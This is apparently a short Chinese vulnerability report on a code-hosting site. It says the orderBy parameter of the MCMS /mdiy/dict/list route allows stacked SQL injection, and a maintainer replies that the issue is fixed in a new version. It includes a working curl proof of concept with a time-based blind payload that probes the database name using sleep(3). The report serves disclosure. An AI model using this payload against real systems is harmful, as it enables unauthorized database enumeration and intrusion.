/mdiy/dict/list路由的orderBy参数存在堆叠SQL注入
证明
curl -w "%{time_total}\n" -i -I -X $'GET' $'http://127.0.0.1:8080/mdiy/dict/list?dictType=1&orderBy=1)a;select/**/if(substring((select/**/database()),1,4)=\'mcms\',sleep(3),1);'
感谢对开源产品的关注,新版本已修复。
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。
登录 后才可以发表评论